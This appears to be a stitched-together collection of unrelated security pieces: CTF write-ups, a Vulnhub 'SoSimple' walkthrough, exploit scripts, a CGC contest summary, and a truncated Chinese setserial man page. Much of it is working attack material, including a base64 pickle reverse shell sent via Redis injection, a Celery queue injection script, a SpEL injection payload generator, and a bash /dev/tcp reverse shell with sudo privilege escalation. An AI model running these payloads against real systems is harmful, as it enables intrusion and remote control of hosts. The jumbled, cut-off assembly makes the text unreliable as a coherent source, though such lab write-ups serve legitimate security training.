https://github.com/p4-team/ctf/tree/master/2018-04-11-hitb-quals/web_python We go with a simple: `cos\nsystem\n(S'touch hacked'\ntR.` to verify it all works locally, and then we sent a simple python reverse shell to the server: ```python import base64 import re import requests def main(): IP = '18.213.16.123' try: session_content = base64.b64decode( 'Y3Bvc2l4CnN5c3RlbQpwMQooUydweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgidXJsLndlLmNvbnRyb2xsIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7XCcnCnAyCnRScDMKLg==') print(session_content) inject_session = 'string.char(' + ','.join([str(ord(x)) for x in session_content]) + ')' session = 'k",redis.call("set","bookhub:session:k",{}),"'.format(inject_session) url = "http://{}:5000/login/".format(IP) r = requests.get(url, cookies={"bookhub-session": session}) token = re.findall('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*)">', r.text)[0] url = "http://{}:5000/admin/system/refresh_session/".format(IP) r = requests.post(url, data={"csrf_token": token, "submit": "1"}, cookies={"bookhub-session": session}) print(r.text) except Exception as e: print(str(e)) main() ``` And we got a reverse shell connection to our server. From there we could simply look around and find `getflag` command and get the flag: `rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000}`
sec-knowleage
import pickle import json import base64 import redis import sys r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) queue_name = 'default' ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}" task_dict = json.loads(ori_str) command = ['touch', '/tmp/airflow_celery_success'] body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}] task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode() print(task_dict) r.lpush(queue_name,json.dumps(task_dict))
sec-knowleage
# Level19 #### About There is a flaw in the below program in how it operates. To do this level, log in as the level19 account with the password level19. Files for this level can be found in /home/flag19. #### Source code ``` #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); } ``` #### Solutions ``` #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <time.h> #include <sys/types.h> int main(void){ pid_t pid; char* args[]= {"/bin/sh", "-c", "getflag > /tmp/flag19", NULL}; pid = fork(); if (pid==0){ nice(19); execve("/home/flag19/flag19",args, NULL); }else if (pid <0){ printf("Ups\n"); }else{ exit(1); } return 0; } ``` #### Recommands http://securityetalii.es/2012/08/10/soluciones-nebula-niveles-1719/
sec-knowleage
# number_place (misc 150) ###ENG [PL](#pl-version) In the task we get hint about sudoku and address of remote server which sends us inputs in form: ``` .418.5..9..9.7..58.3............26..3...6..25...5...97.....69.2.1..4......7...... ``` It's quite clear that this is definition of sudoku grid and we need to solve it to get the flag. In some later stages the inputs were also containing roman numbers, binary numbers and base-64 decoded numbers. So we grabbed first sudoku solver from internet, coded data parsing and communication with the server and used the script: ```python import base64 import socket import re from time import sleep def findNextCellToFill(grid, i, j): for x in range(i, 9): for y in range(j, 9): if grid[x][y] == 0: return x, y for x in range(0, 9): for y in range(0, 9): if grid[x][y] == 0: return x, y return -1, -1 def isValid(grid, i, j, e): rowOk = all([e != grid[i][x] for x in range(9)]) if rowOk: columnOk = all([e != grid[x][j] for x in range(9)]) if columnOk: # finding the top left x,y co-ordinates of the section containing the i,j cell secTopX, secTopY = 3 * (i / 3), 3 * (j / 3) for x in range(secTopX, secTopX + 3): for y in range(secTopY, secTopY + 3): if grid[x][y] == e: return False return True return False def solveSudoku(grid, i=0, j=0): i, j = findNextCellToFill(grid, i, j) if i == -1: return True for e in range(1, 10): if isValid(grid, i, j, e): grid[i][j] = e if solveSudoku(grid, i, j): return True # Undo the current cell for backtracking grid[i][j] = 0 return False def stringify(arrays): return "".join("".join([str(c) for c in x]) for x in arrays) def solve(s): arrays = [[int(c) for c in s[i * 9:(i + 1) * 9]] for i in range(9)] solveSudoku(arrays) result = stringify(arrays) return result def parse_bin(s): bins = re.findall("\(.+?\)", s) for found in bins: s = s.replace(found, str(int(found[1:-1], 2))) return s def parse_base64(s): bins = re.findall("\[.+?\]", s) for found in bins: s = s.replace(found, str(base64.b64decode(found[1:-1]))) return s def parse_roman(s): s = s.replace('<I>', '1') s = s.replace('<II>', '2') s = s.replace('<III>', '3') s = s.replace('<IV>', '4') s = s.replace('<V>', '5') s = s.replace('<VI>', '6') s = s.replace('<VII>', '7') s = s.replace('<VIII>', '8') s = s.replace('<IX>', '9') return s def parse(s): s = s.replace('.', '0') s = parse_roman(s) s = parse_bin(s) s = parse_base64(s) return s def main(): url = '35.161.87.33' port = 10101 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: sleep(1) received = s.recv(9999)[:-1] print(received) received = parse(received) result = solve(received) print(result) s.sendall(result + "\n") main() ``` Finally we got `ECTF{jk_w3_41n7_s0rrY}` ###PL version W zadaniu dostajemy hint na temat sudoku oraz adres serwera który wysyła dane w formie: ``` .418.5..9..9.7..58.3............26..3...6..25...5...97.....69.2.1..4......7...... ``` Jest dość jasne, że to opis planszy sudoku a my mamy ją rozwiązać aby dostać flagę. W dalszych poziomach dane zawierały również liczby rzymskie, liczby binarne oraz liczby enkodowane jako base-64. W związku z tym ściągnęliśmy pierwszy lepszy solver sudoku z internetu, napisalismy parser dla danych oraz komunikacje z serwerem: ```python import base64 import socket import re from time import sleep def findNextCellToFill(grid, i, j): for x in range(i, 9): for y in range(j, 9): if grid[x][y] == 0: return x, y for x in range(0, 9): for y in range(0, 9): if grid[x][y] == 0: return x, y return -1, -1 def isValid(grid, i, j, e): rowOk = all([e != grid[i][x] for x in range(9)]) if rowOk: columnOk = all([e != grid[x][j] for x in range(9)]) if columnOk: # finding the top left x,y co-ordinates of the section containing the i,j cell secTopX, secTopY = 3 * (i / 3), 3 * (j / 3) for x in range(secTopX, secTopX + 3): for y in range(secTopY, secTopY + 3): if grid[x][y] == e: return False return True return False def solveSudoku(grid, i=0, j=0): i, j = findNextCellToFill(grid, i, j) if i == -1: return True for e in range(1, 10): if isValid(grid, i, j, e): grid[i][j] = e if solveSudoku(grid, i, j): return True # Undo the current cell for backtracking grid[i][j] = 0 return False def stringify(arrays): return "".join("".join([str(c) for c in x]) for x in arrays) def solve(s): arrays = [[int(c) for c in s[i * 9:(i + 1) * 9]] for i in range(9)] solveSudoku(arrays) result = stringify(arrays) return result def parse_bin(s): bins = re.findall("\(.+?\)", s) for found in bins: s = s.replace(found, str(int(found[1:-1], 2))) return s def parse_base64(s): bins = re.findall("\[.+?\]", s) for found in bins: s = s.replace(found, str(base64.b64decode(found[1:-1]))) return s def parse_roman(s): s = s.replace('<I>', '1') s = s.replace('<II>', '2') s = s.replace('<III>', '3') s = s.replace('<IV>', '4') s = s.replace('<V>', '5') s = s.replace('<VI>', '6') s = s.replace('<VII>', '7') s = s.replace('<VIII>', '8') s = s.replace('<IX>', '9') return s def parse(s): s = s.replace('.', '0') s = parse_roman(s) s = parse_bin(s) s = parse_base64(s) return s def main(): url = '35.161.87.33' port = 10101 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) while True: sleep(1) received = s.recv(9999)[:-1] print(received) received = parse(received) result = solve(received) print(result) s.sendall(result + "\n") main() ``` Co dało nam `ECTF{jk_w3_41n7_s0rrY}`
sec-knowleage
# CGC 超级挑战赛 > 本节内容摘自李康教授于 2016 年 8 月 17 日 ISC 互联网安全大会演讲《网络超级挑战赛中的漏洞发掘与利用》。 CGC 网络超级挑战赛是全球首次机器网络攻防比赛,比赛过程全自动,无任何人工干预。考验机器自动漏洞挖掘、自动软件加固、自动漏洞利用和自动网络防护水平。使用简化的 Linux 操作系统------DECREE,类似 Snort的规则过滤防火墙。对 Linux 二进制程序进行漏洞挖掘。所有参赛队都没有程序源码。 在 2016 年的 CGC 比赛中,挑战的赛题包含了 53 种 CWE。其中包含 28 个堆溢出漏洞、24 个栈溢出漏洞、16 个空指针访问漏洞、13 个整数溢出漏洞和 8 个 UAF 漏洞。 攻防过程由组织方发出挑战程序,各团队服务器可以向组织方提供补丁程序,防火墙规则和攻击程序。修补过的程序和防火墙规则会分发给其他团队。组织方为每个团队运行挑战程序,进行服务测试和攻击并进行评估。 ## 性能评价指标 1. 服务正常访问的反应时间; 2. 打补丁频率; 3. 加固程序的效率; 4. 成功防御攻击的次数统计; 5. 攻击成功次数统计。 ## 明确核心任务 拿到二进制程序,进行自动分析,在明确防火墙规则后对程序进行加固并生成攻击程序。 ## 分析方法 1. 具体执行-使用正常的执行模式; 2. 符号执行-辅助 Fuzzing 阶段的路径选择; 3. 混合执行-带有具体输入的符号执行,根据输入选择路径,但保留符号条件。 ## CGC 经验总结 1. 完美防守的难度远大于生成攻击的难度; 2. 二进制加固程序需要避免功能损失,并最小化性能损失; 3. 安全自动化处理的大趋势已经形成,多数团队可以在几秒钟的时间对简单应用形成攻击并生成有效防守; 4. 对抗中的策略值得研究,根据自身和对手的攻防能力,对资源和动作进行合理调整。
sec-knowleage
#!/usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)
sec-knowleage
# SoSimple > https://download.vulnhub.com/sosimple/So-Simple-1.7z 靶场IP:`192.168.2.19` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~/Desktop] └─# nmap -p1-65535 -sV 192.168.2.19 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 11:03 EDT Nmap scan report for 192.168.2.19 Host is up (0.00029s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 08:00:27:19:68:92 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds ``` 浏览器访问80端口 ![image-20220912230418255](../../.gitbook/assets/image-20220912230418255.png) ``` ┌──(root㉿kali)-[~/Desktop] └─# dirb http://192.168.2.19/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Sep 12 11:04:23 2022 URL_BASE: http://192.168.2.19/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.19/ ---- + http://192.168.2.19/index.html (CODE:200|SIZE:495) + http://192.168.2.19/server-status (CODE:403|SIZE:277) ==> DIRECTORY: http://192.168.2.19/wordpress/ ---- Entering directory: http://192.168.2.19/wordpress/ ---- + http://192.168.2.19/wordpress/index.php (CODE:301|SIZE:0) ==> DIRECTORY: http://192.168.2.19/wordpress/wp-admin/ ==> DIRECTORY: http://192.168.2.19/wordpress/wp-content/ ==> DIRECTORY: http://192.168.2.19/wordpress/wp-includes/ + http://192.168.2.19/wordpress/xmlrpc.php (CODE:405|SIZE:42) ---- Entering directory: http://192.168.2.19/wordpress/wp-admin/ ---- ``` 使用wpscan进行扫描 ``` ┌──(root㉿kali)-[~/Desktop] └─# wpscan --url http://192.168.2.19/wordpress/ _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] Updating the Database ... [i] Update completed. [+] URL: http://192.168.2.19/wordpress/ [192.168.2.19] [+] Started: Mon Sep 12 11:05:15 2022 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.2.19/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://192.168.2.19/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://192.168.2.19/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.2.19/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.4.11 identified (Latest, released on 2022-08-30). | Found By: Rss Generator (Passive Detection) | - http://192.168.2.19/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.4.11</generator> | - http://192.168.2.19/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.11</generator> [+] WordPress theme in use: twentynineteen | Location: http://192.168.2.19/wordpress/wp-content/themes/twentynineteen/ | Last Updated: 2022-05-24T00:00:00.000Z | Readme: http://192.168.2.19/wordpress/wp-content/themes/twentynineteen/readme.txt | [!] The version is out of date, the latest version is 2.3 | Style URL: http://192.168.2.19/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.6 | Style Name: Twenty Nineteen | Style URI: https://wordpress.org/themes/twentynineteen/ | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.6 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.2.19/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.6, Match: 'Version: 1.6' [+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] simple-cart-solution | Location: http://192.168.2.19/wordpress/wp-content/plugins/simple-cart-solution/ | Last Updated: 2022-04-17T20:50:00.000Z | [!] The version is out of date, the latest version is 1.0.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 0.2.0 (100% confidence) | Found By: Query Parameter (Passive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/simple-cart-solution/assets/dist/js/public.js?ver=0.2.0 | Confirmed By: | Readme - Stable Tag (Aggressive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/simple-cart-solution/readme.txt | Readme - ChangeLog Section (Aggressive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/simple-cart-solution/readme.txt [+] social-warfare | Location: http://192.168.2.19/wordpress/wp-content/plugins/social-warfare/ | Last Updated: 2021-07-20T16:09:00.000Z | [!] The version is out of date, the latest version is 4.3.0 | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Comment (Passive Detection) | | Version: 3.5.0 (100% confidence) | Found By: Comment (Passive Detection) | - http://192.168.2.19/wordpress/, Match: 'Social Warfare v3.5.0' | Confirmed By: | Query Parameter (Passive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.0 | - http://192.168.2.19/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.0 | Readme - Stable Tag (Aggressive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/social-warfare/readme.txt | Readme - ChangeLog Section (Aggressive Detection) | - http://192.168.2.19/wordpress/wp-content/plugins/social-warfare/readme.txt [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:00 <============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Mon Sep 12 11:05:18 2022 [+] Requests Done: 190 [+] Cached Requests: 5 [+] Data Sent: 49.92 KB [+] Data Received: 19.333 MB [+] Memory used: 241.766 MB [+] Elapsed time: 00:00:03 ``` 枚举用户 ``` ┌──(root㉿kali)-[~/Desktop] └─# wpscan --url http://192.168.2.19/wordpress/ -eu [i] User(s) Identified: [+] admin | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://192.168.2.19/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] max | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) ``` 爆破密码 ``` ┌──(root㉿kali)-[~/Desktop] └─# wpscan --url http://192.168.2.19/wordpress/ -U max -P /usr/share/wordlists/rockyou.txt [!] Valid Combinations Found: | Username: max, Password: opensesame ``` 不过无法直接上传shell。 ![image-20220912231038680](../../.gitbook/assets/image-20220912231038680.png) 我尝试使用Searchsploit搜索任何可用的插件`social-warfare`漏洞,我得到了这个 ``` ┌──(root㉿kali)-[~/Desktop] └─# searchsploit social warfare --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution | php/webapps/46794.py --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` ``` ┌──(root㉿kali)-[/tmp] └─# cat payload <pre>system('cat /etc/passwd')</pre> ``` ``` http://192.168.2.19/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.2.5/payload ``` ![image-20220912231648262](../../.gitbook/assets/image-20220912231648262.png) 反弹shell ``` <pre>system("bash -c 'bash -i >& /dev/tcp/192.168.2.5/1234 0>&1'")</pre> ``` ![image-20220912232113768](../../.gitbook/assets/image-20220912232113768.png) 找到max用户的私钥 ``` -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- ``` 使用私钥进行登录 ``` ┌──(root㉿kali)-[/tmp] └─# ssh -i id_rsa max@192.168.2.19 The authenticity of host '192.168.2.19 (192.168.2.19)' can't be established. ED25519 key fingerprint is SHA256:+ejHZkFq2lUl66K6hxgfr5b2MoCZzYE8v3yBV3/XseI. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.19' (ED25519) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Sep 12 15:24:03 UTC 2022 System load: 0.0 Processes: 134 Usage of /: 58.6% of 8.79GB Users logged in: 0 Memory usage: 21% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for enp0s3: 192.168.2.19 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 47 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Wed Jul 15 19:18:39 2020 from 192.168.1.7 max@so-simple:~$ ``` 查看sudo列表 ``` max@so-simple:~$ sudo -l Matching Defaults entries for max on so-simple: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User max may run the following commands on so-simple: (steven) NOPASSWD: /usr/sbin/service ``` sudo提权到steven用户 ``` max@so-simple:~$ sudo -u steven /usr/sbin/service ../../bin/bash steven@so-simple:/$ id uid=1001(steven) gid=1001(steven) groups=1001(steven) ``` 查看sudo列表 ``` steven@so-simple:/$ sudo -l Matching Defaults entries for steven on so-simple: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User steven may run the following commands on so-simple: (root) NOPASSWD: /opt/tools/server-health.sh ``` 提权 ``` steven@so-simple:/$ mkdir /opt/tools steven@so-simple:/$ echo -e '#!/bin/bash\n\nbash' > /opt/tools/server-health.sh steven@so-simple:/$ chmod 777 /opt/tools/server-health.sh steven@so-simple:/$ sudo /opt/tools/server-health.sh root@so-simple:/# id uid=0(root) gid=0(root) groups=0(root) ```
sec-knowleage
.TH SETSERIAL 8 "1998年9月" "Setserial 2.15 .SH NAME setserial \- 取得/设置 Linux 串行口的信息 .SH 总览 .B setserial .B "[ \-abqvVWZ]" 设备 .BR "[ "命令参数一 " [ " 设备变元参数 " ] ] ..." .B "setserial -g" .B "[\a-abGv ]" 设备一 ... .SH 描述 .B setserial 是一个用来设置和取得与一个串行口有关的信息与设置的程序。这些信 息包括某个串行口正在使用的I/o地址与中断号,以及break键是否被当 做引起安全注意的键,等等。 在通常的引导的过程中,只有端口 COM1至COM4被初始化,并使用默认的 I/O地址和中断号,正如以下所列。为了初始化其它的串行口,或者是把 COM1至COM4中的设置改为一个非标准的设置。就必须使用 .B setserial 程序。一般这个程序会在 .I rc.serial 脚本中使用,此脚本通常会在 .IR /etc/rc.local . 中被执行 .I 设备 由变元参数定义的需要设置的串行设备。它们通常具有以下形式: .BR /dev/cua[0-3] . 如果没有设定命令参数, .B setserial 将打印出此端口的类型(如,8250,16450 ,14330,16550A,等等), 硬件I/O地址,各硬件中也断号,波特数,和一些可操作或更改的标识。 如果选择 .B \-g 选项,命令将列出所给出的设备参数的一些基本信息。 如果没有指定参数 .B \-g 命令所指定的第一个设备变元将被当作修改或者是显示内容的目标设备, 而其它的设备变元参数将被当作命令参数赋于目标设备。 对于大多数情况,需要有系统管理员的权限才能设置串行口。当然有一 些串行口的参数,也可由普通用户设置,这些参数在本手册中会有另有 说明。 .SH 选项 .B Setserial 可接受下列参数: .TP .B \-a 当输出串行口设备的设置时,显示出所有有效信息. .TP .B \-b 当输出串行口设备的设置时,输出主要的设备设置信息,此项适合于 在引导过程时,在/etc/rc 脚本中输出设备信息. .TP .B \-G 以特定形式输出串行口的设置信息,此形式可以设置信息以命令行 参数的形式返馈回串行口设备. .TP .B \-q 静默. .TP .B SetSerial 命令将以更简洁的形式输出. .TP .B \-V 输出详细信息. .B Setserial 可以输出附加的状态的信息. .TP .B \-V 显示版本信息然后退出. .TP .B \-W 强制初始化中,断然后退出.些选项在核心版本2.1后的Linux中不在提供. .B \-z 在开始设置标记前清除原有的设置的串行标记.此项与 使用\-G 标记自动保存串行口的设置标记有关. .SH 命令参数 以下命令参数可以赋于一个串行口. 所有的参数值都被假定为一个八进制数,除非值前标有"0x". .TP .BR port " 端口号 " .B 